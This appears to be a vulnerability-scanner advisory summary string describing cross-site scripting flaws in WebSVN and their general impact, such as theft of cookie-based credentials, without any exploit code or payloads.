tag_summary = "WebSVN is prone to multiple cross-site scripting vulnerabilities
because it fails to properly sanitize user-supplied input before using
it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code
in the browser of an unsuspecting user in the context of the affected
site. This can allow the attacker to steal cookie-based authentication
credentials and launch other attacks.";
